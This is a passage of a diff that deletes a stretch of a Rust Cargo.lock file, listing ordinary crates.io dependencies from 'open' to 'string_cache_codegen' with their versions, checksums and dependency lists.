- "pathdiff",
- "windows-sys 0.36.1",
-]
-
-[[package]]
-name = "open"
-version = "3.0.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b4a3100141f1733ea40b53381b0ae3117330735ef22309a190ac57b9576ea716"
-dependencies = [
- "pathdiff",
- "windows-sys 0.36.1",
-]
-
-[[package]]
-name = "openssl"
-version = "0.10.42"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "12fc0523e3bd51a692c8850d075d74dc062ccf251c0110668cbd921917118a13"
-dependencies = [
- "bitflags",
- "cfg-if 1.0.0",
- "foreign-types",
- "libc",
- "once_cell",
- "openssl-macros",
- "openssl-sys",
-]
-
-[[package]]
-name = "openssl-macros"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b501e44f11665960c7e7fcf062c7d96a14ade4aa98116c004b2e37b5be7d736c"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "openssl-probe"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf"
-
-[[package]]
-name = "openssl-sys"
-version = "0.9.76"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5230151e44c0f05157effb743e8d517472843121cf9243e8b81393edb5acd9ce"
-dependencies = [
- "autocfg",
- "cc",
- "libc",
- "pkg-config",
- "vcpkg",
-]
-
-[[package]]
-name = "os_info"
-version = "3.5.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c4750134fb6a5d49afc80777394ad5d95b04bc12068c6abb92fae8f43817270f"
-dependencies = [
- "log",
- "serde",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "os_pipe"
-version = "1.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0dceb7e43f59c35ee1548045b2c72945a5a3bb6ce6d6f07cdc13dc8f6bc4930a"
-dependencies = [
- "libc",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "os_str_bytes"
-version = "6.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9ff7415e9ae3fff1225851df9e0d9e4e5479f947619774677a63572e55e80eff"
-
-[[package]]
-name = "overload"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39"
-
-[[package]]
-name = "pango"
-version = "0.15.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "22e4045548659aee5313bde6c582b0d83a627b7904dd20dc2d9ef0895d414e4f"
-dependencies = [
- "bitflags",
- "glib",
- "libc",
- "once_cell",
- "pango-sys",
-]
-
-[[package]]
-name = "pango-sys"
-version = "0.15.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d2a00081cde4661982ed91d80ef437c20eacaf6aa1a5962c0279ae194662c3aa"
-dependencies = [
- "glib-sys",
- "gobject-sys",
- "libc",
- "system-deps 6.0.2",
-]
-
-[[package]]
-name = "parking_lot"
-version = "0.12.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f"
-dependencies = [
- "lock_api",
- "parking_lot_core",
-]
-
-[[package]]
-name = "parking_lot_core"
-version = "0.9.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "09a279cbf25cb0757810394fbc1e359949b59e348145c643a939a525692e6929"
-dependencies = [
- "cfg-if 1.0.0",
- "libc",
- "redox_syscall",
- "smallvec",
- "windows-sys 0.36.1",
-]
-
-[[package]]
-name = "parselnk"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0088616e6efe53ab79907b9313f4743eb3f8a16eb1e0014af810164808906dc3"
-dependencies = [
- "bitflags",
- "byteorder",
- "chrono",
- "thiserror",
- "widestring",
-]
-
-[[package]]
-name = "password-hash"
-version = "0.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1d791538a6dcc1e7cb7fe6f6b58aca40e7f79403c45b2bc274008b5e647af1d8"
-dependencies = [
- "base64ct",
- "rand_core 0.6.4",
- "subtle",
-]
-
-[[package]]
-name = "paste"
-version = "1.0.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b1de2e551fb905ac83f73f7aedf2f0cb4a0da7e35efa24a202a936269f1f18e1"
-
-[[package]]
-name = "path-absolutize"
-version = "3.0.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d3de4b40bd9736640f14c438304c09538159802388febb02c8abaae0846c1f13"
-dependencies = [
- "path-dedot",
-]
-
-[[package]]
-name = "path-dedot"
-version = "3.0.17"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d611d5291372b3738a34ebf0d1f849e58b1dcc1101032f76a346eaa1f8ddbb5b"
-dependencies = [
- "once_cell",
-]
-
-[[package]]
-name = "pathdiff"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8835116a5c179084a830efb3adc117ab007512b535bc1a21c991d3b32a6b44dd"
-
-[[package]]
-name = "pbkdf2"
-version = "0.10.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "271779f35b581956db91a3e55737327a03aa051e90b1c47aeb189508533adfd7"
-dependencies = [
- "digest",
- "hmac",
- "password-hash",
- "sha2",
-]
-
-[[package]]
-name = "percent-encoding"
-version = "2.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "478c572c3d73181ff3c2539045f6eb99e5491218eae919370993b890cdbdd98e"
-
-[[package]]
-name = "pest"
-version = "2.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dbc7bc69c062e492337d74d59b120c274fd3d261b6bf6d3207d499b4b379c41a"
-dependencies = [
- "thiserror",
- "ucd-trie",
-]
-
-[[package]]
-name = "phf"
-version = "0.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3dfb61232e34fcb633f43d12c58f83c1df82962dcdfa565a4e866ffc17dafe12"
-dependencies = [
- "phf_macros 0.8.0",
- "phf_shared 0.8.0",
- "proc-macro-hack",
-]
-
-[[package]]
-name = "phf"
-version = "0.10.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fabbf1ead8a5bcbc20f5f8b939ee3f5b0f6f281b6ad3468b84656b658b455259"
-dependencies = [
- "phf_macros 0.10.0",
- "phf_shared 0.10.0",
- "proc-macro-hack",
-]
-
-[[package]]
-name = "phf_codegen"
-version = "0.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cbffee61585b0411840d3ece935cce9cb6321f01c45477d30066498cd5e1a815"
-dependencies = [
- "phf_generator 0.8.0",
- "phf_shared 0.8.0",
-]
-
-[[package]]
-name = "phf_generator"
-version = "0.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "17367f0cc86f2d25802b2c26ee58a7b23faeccf78a396094c13dced0d0182526"
-dependencies = [
- "phf_shared 0.8.0",
- "rand 0.7.3",
-]
-
-[[package]]
-name = "phf_generator"
-version = "0.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5d5285893bb5eb82e6aaf5d59ee909a06a16737a8970984dd7746ba9283498d6"
-dependencies = [
- "phf_shared 0.10.0",
- "rand 0.8.5",
-]
-
-[[package]]
-name = "phf_macros"
-version = "0.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7f6fde18ff429ffc8fe78e2bf7f8b7a5a5a6e2a8b58bc5a9ac69198bbda9189c"
-dependencies = [
- "phf_generator 0.8.0",
- "phf_shared 0.8.0",
- "proc-macro-hack",
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "phf_macros"
-version = "0.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "58fdf3184dd560f160dd73922bea2d5cd6e8f064bf4b13110abd81b03697b4e0"
-dependencies = [
- "phf_generator 0.10.0",
- "phf_shared 0.10.0",
- "proc-macro-hack",
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "phf_shared"
-version = "0.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c00cf8b9eafe68dde5e9eaa2cef8ee84a9336a47d566ec55ca16589633b65af7"
-dependencies = [
- "siphasher",
-]
-
-[[package]]
-name = "phf_shared"
-version = "0.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b6796ad771acdc0123d2a88dc428b5e38ef24456743ddb1744ed628f9815c096"
-dependencies = [
- "siphasher",
-]
-
-[[package]]
-name = "pin-project-lite"
-version = "0.2.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e0a7ae3ac2f1173085d398531c705756c94a4c56843785df85a60c1a0afac116"
-
-[[package]]
-name = "pin-utils"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184"
-
-[[package]]
-name = "pkg-config"
-version = "0.3.25"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1df8c4ec4b0627e53bdf214615ad287367e482558cf84b109250b37464dc03ae"
-
-[[package]]
-name = "plist"
-version = "1.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bd39bc6cdc9355ad1dc5eeedefee696bb35c34caf21768741e81826c0bbd7225"
-dependencies = [
- "base64",
- "indexmap",
- "line-wrap",
- "serde",
- "time 0.3.15",
- "xml-rs",
-]
-
-[[package]]
-name = "png"
-version = "0.11.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f0b0cabbbd20c2d7f06dbf015e06aad59b6ca3d9ed14848783e98af9aaf19925"
-dependencies = [
- "bitflags",
- "deflate",
- "inflate",
- "num-iter",
-]
-
-[[package]]
-name = "png"
-version = "0.17.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8f0e7f4c94ec26ff209cee506314212639d6c91b80afb82984819fafce9df01c"
-dependencies = [
- "bitflags",
- "crc32fast",
- "flate2",
- "miniz_oxide",
-]
-
-[[package]]
-name = "ppv-lite86"
-version = "0.2.16"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "eb9f9e6e233e5c4a35559a617bf40a4ec447db2e84c20b55a6f83167b7e57872"
-
-[[package]]
-name = "precomputed-hash"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "925383efa346730478fb4838dbe9137d2a47675ad789c546d150a6e1dd4ab31c"
-
-[[package]]
-name = "proc-macro-crate"
-version = "1.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "eda0fc3b0fb7c975631757e14d9049da17374063edb6ebbcbc54d880d4fe94e9"
-dependencies = [
- "once_cell",
- "thiserror",
- "toml",
-]
-
-[[package]]
-name = "proc-macro-error"
-version = "1.0.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c"
-dependencies = [
- "proc-macro-error-attr",
- "proc-macro2",
- "quote",
- "syn",
- "version_check",
-]
-
-[[package]]
-name = "proc-macro-error-attr"
-version = "1.0.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869"
-dependencies = [
- "proc-macro2",
- "quote",
- "version_check",
-]
-
-[[package]]
-name = "proc-macro-hack"
-version = "0.5.19"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dbf0c48bc1d91375ae5c3cd81e3722dff1abcf81a30960240640d223f59fe0e5"
-
-[[package]]
-name = "proc-macro2"
-version = "1.0.46"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "94e2ef8dbfc347b10c094890f778ee2e36ca9bb4262e86dc99cd217e35f3470b"
-dependencies = [
- "unicode-ident",
-]
-
-[[package]]
-name = "quick-xml"
-version = "0.23.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "11bafc859c6815fbaffbbbf4229ecb767ac913fecb27f9ad4343662e9ef099ea"
-dependencies = [
- "memchr",
-]
-
-[[package]]
-name = "quote"
-version = "1.0.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bbe448f377a7d6961e30f5955f9b8d106c3f5e449d493ee1b125c1d43c2b5179"
-dependencies = [
- "proc-macro2",
-]
-
-[[package]]
-name = "rand"
-version = "0.7.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03"
-dependencies = [
- "getrandom 0.1.16",
- "libc",
- "rand_chacha 0.2.2",
- "rand_core 0.5.1",
- "rand_hc",
- "rand_pcg",
-]
-
-[[package]]
-name = "rand"
-version = "0.8.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
-dependencies = [
- "libc",
- "rand_chacha 0.3.1",
- "rand_core 0.6.4",
-]
-
-[[package]]
-name = "rand_chacha"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402"
-dependencies = [
- "ppv-lite86",
- "rand_core 0.5.1",
-]
-
-[[package]]
-name = "rand_chacha"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
-dependencies = [
- "ppv-lite86",
- "rand_core 0.6.4",
-]
-
-[[package]]
-name = "rand_core"
-version = "0.5.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19"
-dependencies = [
- "getrandom 0.1.16",
-]
-
-[[package]]
-name = "rand_core"
-version = "0.6.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
-dependencies = [
- "getrandom 0.2.7",
-]
-
-[[package]]
-name = "rand_hc"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c"
-dependencies = [
- "rand_core 0.5.1",
-]
-
-[[package]]
-name = "rand_pcg"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "16abd0c1b639e9eb4d7c50c0b8100b0d0f849be2349829c740fe8e6eb4816429"
-dependencies = [
- "rand_core 0.5.1",
-]
-
-[[package]]
-name = "raw-window-handle"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ed7e3d950b66e19e0c372f3fa3fbbcf85b1746b571f74e0c2af6042a5c93420a"
-dependencies = [
- "cty",
-]
-
-[[package]]
-name = "rayon"
-version = "1.5.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bd99e5772ead8baa5215278c9b15bf92087709e9c1b2d1f97cdb5a183c933a7d"
-dependencies = [
- "autocfg",
- "crossbeam-deque",
- "either",
- "rayon-core",
-]
-
-[[package]]
-name = "rayon-core"
-version = "1.9.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "258bcdb5ac6dad48491bb2992db6b7cf74878b0384908af124823d118c99683f"
-dependencies = [
- "crossbeam-channel",
- "crossbeam-deque",
- "crossbeam-utils",
- "num_cpus",
-]
-
-[[package]]
-name = "redox_syscall"
-version = "0.2.16"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fb5a58c1855b4b6819d59012155603f0b22ad30cad752600aadfcb695265519a"
-dependencies = [
- "bitflags",
-]
-
-[[package]]
-name = "redox_users"
-version = "0.4.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b033d837a7cf162d7993aded9304e30a83213c648b6e389db233191f891e5c2b"
-dependencies = [
- "getrandom 0.2.7",
- "redox_syscall",
- "thiserror",
-]
-
-[[package]]
-name = "regex"
-version = "1.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4c4eb3267174b8c6c2f654116623910a0fef09c4753f8dd83db29c48a0df988b"
-dependencies = [
- "aho-corasick",
- "memchr",
- "regex-syntax",
-]
-
-[[package]]
-name = "regex-automata"
-version = "0.1.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6c230d73fb8d8c1b9c0b3135c5142a8acee3a0558fb8db5cf1cb65f8d7862132"
-dependencies = [
- "regex-syntax",
-]
-
-[[package]]
-name = "regex-syntax"
-version = "0.6.27"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a3f87b73ce11b1619a3c6332f45341e0047173771e8b8b73f87bfeefb7b56244"
-
-[[package]]
-name = "remove_dir_all"
-version = "0.5.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3acd125665422973a33ac9d3dd2df85edad0f4ae9b00dafb1a05e43a9f5ef8e7"
-dependencies = [
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "reqwest"
-version = "0.11.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "431949c384f4e2ae07605ccaa56d1d9d2ecdb5cadd4f9577ccfab29f2e5149fc"
-dependencies = [
- "base64",
- "bytes",
- "encoding_rs",
- "futures-core",
- "futures-util",
- "h2",
- "http",
- "http-body",
- "hyper",
- "hyper-tls",
- "ipnet",
- "js-sys",
- "log",
- "mime",
- "native-tls",
- "once_cell",
- "percent-encoding",
- "pin-project-lite",
- "serde",
- "serde_json",
- "serde_urlencoded",
- "tokio",
- "tokio-native-tls",
- "tower-service",
- "url",
- "wasm-bindgen",
- "wasm-bindgen-futures",
- "web-sys",
- "winreg",
-]
-
-[[package]]
-name = "rfd"
-version = "0.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0149778bd99b6959285b0933288206090c50e2327f47a9c463bfdbf45c8823ea"
-dependencies = [
- "block",
- "dispatch",
- "glib-sys",
- "gobject-sys",
- "gtk-sys",
- "js-sys",
- "lazy_static",
- "log",
- "objc",
- "objc-foundation",
- "objc_id",
- "raw-window-handle",
- "wasm-bindgen",
- "wasm-bindgen-futures",
- "web-sys",
- "windows 0.37.0",
-]
-
-[[package]]
-name = "rustc_version"
-version = "0.3.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f0dfe2087c51c460008730de8b57e6a320782fbfb312e1f4d520e6c6fae155ee"
-dependencies = [
- "semver 0.11.0",
-]
-
-[[package]]
-name = "rustc_version"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bfa0f585226d2e68097d4f95d113b15b83a82e819ab25717ec0590d9584ef366"
-dependencies = [
- "semver 1.0.14",
-]
-
-[[package]]
-name = "rustversion"
-version = "1.0.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "97477e48b4cf8603ad5f7aaf897467cf42ab4218a38ef76fb14c2d6773a6d6a8"
-
-[[package]]
-name = "ryu"
-version = "1.0.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4501abdff3ae82a1c1b477a17252eb69cee9e66eb915c1abaa4f44d873df9f09"
-
-[[package]]
-name = "safemem"
-version = "0.3.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ef703b7cb59335eae2eb93ceb664c0eb7ea6bf567079d843e09420219668e072"
-
-[[package]]
-name = "same-file"
-version = "1.0.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502"
-dependencies = [
- "winapi-util",
-]
-
-[[package]]
-name = "schannel"
-version = "0.1.20"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "88d6731146462ea25d9244b2ed5fd1d716d25c52e4d54aa4fb0f3c4e9854dbe2"
-dependencies = [
- "lazy_static",
- "windows-sys 0.36.1",
-]
-
-[[package]]
-name = "scoped-tls"
-version = "1.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ea6a9290e3c9cf0f18145ef7ffa62d68ee0bf5fcd651017e586dc7fd5da448c2"
-
-[[package]]
-name = "scopeguard"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd"
-
-[[package]]
-name = "security-framework"
-version = "2.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2bc1bb97804af6631813c55739f771071e0f2ed33ee20b68c86ec505d906356c"
-dependencies = [
- "bitflags",
- "core-foundation",
- "core-foundation-sys",
- "libc",
- "security-framework-sys",
-]
-
-[[package]]
-name = "security-framework-sys"
-version = "2.6.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0160a13a177a45bfb43ce71c01580998474f556ad854dcbca936dd2841a5c556"
-dependencies = [
- "core-foundation-sys",
- "libc",
-]
-
-[[package]]
-name = "selectors"
-version = "0.22.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "df320f1889ac4ba6bc0cdc9c9af7af4bd64bb927bccdf32d81140dc1f9be12fe"
-dependencies = [
- "bitflags",
- "cssparser",
- "derive_more",
- "fxhash",
- "log",
- "matches",
- "phf 0.8.0",
- "phf_codegen",
- "precomputed-hash",
- "servo_arc",
- "smallvec",
- "thin-slice",
-]
-
-[[package]]
-name = "semver"
-version = "0.11.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f301af10236f6df4160f7c3f04eec6dbc70ace82d23326abad5edee88801c6b6"
-dependencies = [
- "semver-parser",
-]
-
-[[package]]
-name = "semver"
-version = "1.0.14"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e25dfac463d778e353db5be2449d1cce89bd6fd23c9f1ea21310ce6e5a1b29c4"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "semver-parser"
-version = "0.10.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "00b0bef5b7f9e0df16536d3961cfb6e84331c065b4066afb39768d0e319411f7"
-dependencies = [
- "pest",
-]
-
-[[package]]
-name = "serde"
-version = "1.0.145"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "728eb6351430bccb993660dfffc5a72f91ccc1295abaa8ce19b27ebe4f75568b"
-dependencies = [
- "serde_derive",
-]
-
-[[package]]
-name = "serde_derive"
-version = "1.0.145"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "81fa1584d3d1bcacd84c277a0dfe21f5b0f6accf4a23d04d4c6d61f1af522b4c"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "serde_json"
-version = "1.0.85"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e55a28e3aaef9d5ce0506d0a14dbba8054ddc7e499ef522dd8b26859ec9d4a44"
-dependencies = [
- "itoa 1.0.4",
- "ryu",
- "serde",
-]
-
-[[package]]
-name = "serde_repr"
-version = "0.1.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1fe39d9fbb0ebf5eb2c7cb7e2a47e4f462fad1379f1166b8ae49ad9eae89a7ca"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "serde_urlencoded"
-version = "0.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd"
-dependencies = [
- "form_urlencoded",
- "itoa 1.0.4",
- "ryu",
- "serde",
-]
-
-[[package]]
-name = "serde_with"
-version = "1.14.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "678b5a069e50bf00ecd22d0cd8ddf7c236f68581b03db652061ed5eb13a312ff"
-dependencies = [
- "serde",
- "serde_with_macros",
-]
-
-[[package]]
-name = "serde_with_macros"
-version = "1.5.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e182d6ec6f05393cc0e5ed1bf81ad6db3a8feedf8ee515ecdd369809bcce8082"
-dependencies = [
- "darling",
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "serialize-to-javascript"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c9823f2d3b6a81d98228151fdeaf848206a7855a7a042bbf9bf870449a66cafb"
-dependencies = [
- "serde",
- "serde_json",
- "serialize-to-javascript-impl",
-]
-
-[[package]]
-name = "serialize-to-javascript-impl"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "74064874e9f6a15f04c1f3cb627902d0e6b410abbf36668afa873c61889f1763"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "servo-fontconfig"
-version = "0.5.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c7e3e22fe5fd73d04ebf0daa049d3efe3eae55369ce38ab16d07ddd9ac5c217c"
-dependencies = [
- "libc",
- "servo-fontconfig-sys",
-]
-
-[[package]]
-name = "servo-fontconfig-sys"
-version = "5.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e36b879db9892dfa40f95da1c38a835d41634b825fbd8c4c418093d53c24b388"
-dependencies = [
- "expat-sys",
- "freetype-sys",
- "pkg-config",
-]
-
-[[package]]
-name = "servo_arc"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d98238b800e0d1576d8b6e3de32827c2d74bee68bb97748dcf5071fb53965432"
-dependencies = [
- "nodrop",
- "stable_deref_trait",
-]
-
-[[package]]
-name = "sha1"
-version = "0.10.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f04293dc80c3993519f2d7f6f511707ee7094fe0c6d3406feb330cdb3540eba3"
-dependencies = [
- "cfg-if 1.0.0",
- "cpufeatures",
- "digest",
-]
-
-[[package]]
-name = "sha2"
-version = "0.10.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "82e6b795fe2e3b1e845bafcb27aa35405c4d47cdfc92af5fc8d3002f76cebdc0"
-dependencies = [
- "cfg-if 1.0.0",
- "cpufeatures",
- "digest",
-]
-
-[[package]]
-name = "sharded-slab"
-version = "0.1.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "900fba806f70c630b0a382d0d825e17a0f19fcd059a2ade1ff237bcddf446b31"
-dependencies = [
- "lazy_static",
-]
-
-[[package]]
-name = "shared_child"
-version = "1.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b0d94659ad3c2137fef23ae75b03d5241d633f8acded53d672decfa0e6e0caef"
-dependencies = [
- "libc",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "siphasher"
-version = "0.3.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7bd3e3206899af3f8b12af284fafc038cc1dc2b41d1b89dd17297221c5d225de"
-
-[[package]]
-name = "slab"
-version = "0.4.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4614a76b2a8be0058caa9dbbaf66d988527d86d003c11a94fbd335d7661edcef"
-dependencies = [
- "autocfg",
-]
-
-[[package]]
-name = "smallvec"
-version = "1.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a507befe795404456341dfab10cef66ead4c041f62b8b11bbb92bffe5d0953e0"
-
-[[package]]
-name = "socket2"
-version = "0.4.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "02e2d2db9033d13a1567121ddd7a095ee144db4e1ca1b1bda3419bc0da294ebd"
-dependencies = [
- "libc",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "soup2"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b2b4d76501d8ba387cf0fefbe055c3e0a59891d09f0f995ae4e4b16f6b60f3c0"
-dependencies = [
- "bitflags",
- "gio",
- "glib",
- "libc",
- "once_cell",
- "soup2-sys",
-]
-
-[[package]]
-name = "soup2-sys"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "009ef427103fcb17f802871647a7fa6c60cbb654b4c4e4c0ac60a31c5f6dc9cf"
-dependencies = [
- "bitflags",
- "gio-sys",
- "glib-sys",
- "gobject-sys",
- "libc",
- "system-deps 5.0.0",
-]
-
-[[package]]
-name = "stable_deref_trait"
-version = "1.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3"
-
-[[package]]
-name = "state"
-version = "0.5.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dbe866e1e51e8260c9eed836a042a5e7f6726bb2b411dffeaa712e19c388f23b"
-dependencies = [
- "loom",
-]
-
-[[package]]
-name = "string_cache"
-version = "0.8.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "213494b7a2b503146286049378ce02b482200519accc31872ee8be91fa820a08"
-dependencies = [
- "new_debug_unreachable",
- "once_cell",
- "parking_lot",
- "phf_shared 0.10.0",
- "precomputed-hash",
- "serde",
-]
-
-[[package]]
-name = "string_cache_codegen"
-version = "0.5.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
